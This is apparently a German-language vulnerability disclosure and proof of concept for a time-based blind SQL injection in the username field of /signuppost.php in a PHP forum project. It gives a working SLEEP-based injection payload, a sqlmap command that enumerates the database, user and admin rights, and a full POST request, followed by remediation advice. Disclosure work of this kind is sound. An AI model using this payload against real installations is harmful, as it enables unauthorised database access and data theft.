
CVE-poc
CVE-poc
SQL-Injection
Eine SQL-Injection-Schwachstelle wurde in der Datei /signuppost.php des Projekts „Technical Forum Using PHP Source Code“ identifiziert. Die Schwachstelle beruht darauf, dass ein Angreifer bösartigen Code über den Login-Benutzernamen-Parameter einschleusen und diesen Parameter ungeprüft direkt in einer SQL-Abfrage verwenden kann. Dies ermöglicht es einem Angreifer, Eingabewerte zu manipulieren, um SQL-Abfragen zu beeinflussen und unbefugte Aktionen durchzuführen.
Ein Angreifer kann diese SQL-Injection-Schwachstelle ausnutzen, um unbefugten Zugriff auf eine Datenbank zu erlangen, vertrauliche Daten offenzulegen, Daten zu manipulieren, das System vollständig zu kontrollieren oder sogar Dienste zu stören, was eine ernsthafte Bedrohung für die Systemsicherheit und die Geschäftskontinuität darstellt.
Schwachstellenname: Username-Parameter
Payload
Parameter: username (POST)
Type: Time Blind Injection Time Blind Injection
Title: Time Blind Injection Time Blind Injection
Payload: username=admin' AND (SELECT 9335 FROM (SELECT(SLEEP(5)))NwOL) AND 'SGvn' = 'SGvn'
Screenshot der spezifischen Informationen, die beim Testen und Ausführen des sqlmap-Dienstprogramms abgerufen wurden

//sqlmap
python sqlmap.py -r url.txt --level 1 --risk 1 --current-db --current-user --is-dba
poc
POST /signuppost.php HTTP/1.1
Host: 127.0.0.1:8083
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0
*/*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 136
Origin: http://127.0.0.1:8083
Connection: keep-alive
Referer: http://127.0.0.1:8083/signup.php
Cookie: PHPSESSID=ln2b6eftt76aon56uvppiurao3
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
name=123&gender=male&email=13849221%40qq.com&contact=123123&username=admii&password=admin%40123&password_check=admin%40123&submit=SignUp
Verwendung von Prepared Statements und Parameterbindung Prepared Statements verhindern SQL-Injection, indem sie den SQL-Code von den Benutzereingabedaten trennen. Bei Verwendung von Prepared Statements werden vom Benutzer eingegebene Werte als reine Daten behandelt und nicht als SQL-Code interpretiert.
Eingabevalidierung und -filterung Validieren und filtern Sie Benutzereingabedaten streng, um sicherzustellen, dass sie dem erwarteten Format entsprechen.
Minimierung der Datenbankbenutzerrechte Stellen Sie sicher, dass die für die Verbindung zur Datenbank verwendeten Konten über die minimal erforderlichen Berechtigungen verfügen. Vermeiden Sie die Verwendung von Konten mit höheren Berechtigungen (z. B. „root“ oder „admin“) für den täglichen Betrieb.
Regelmäßige Sicherheitsaudits durchführen Führen Sie regelmäßige Code- und System-Sicherheitsaudits durch, um potenzielle Sicherheitsschwachstellen rechtzeitig zu identifizieren und zu beheben.
Durch die Befolgung dieser Empfehlungen können Sie die Sicherheit Ihrer Anwendungen erheblich verbessern und die Risiken im Zusammenhang mit SQL-Injection-Schwachstellen reduzieren.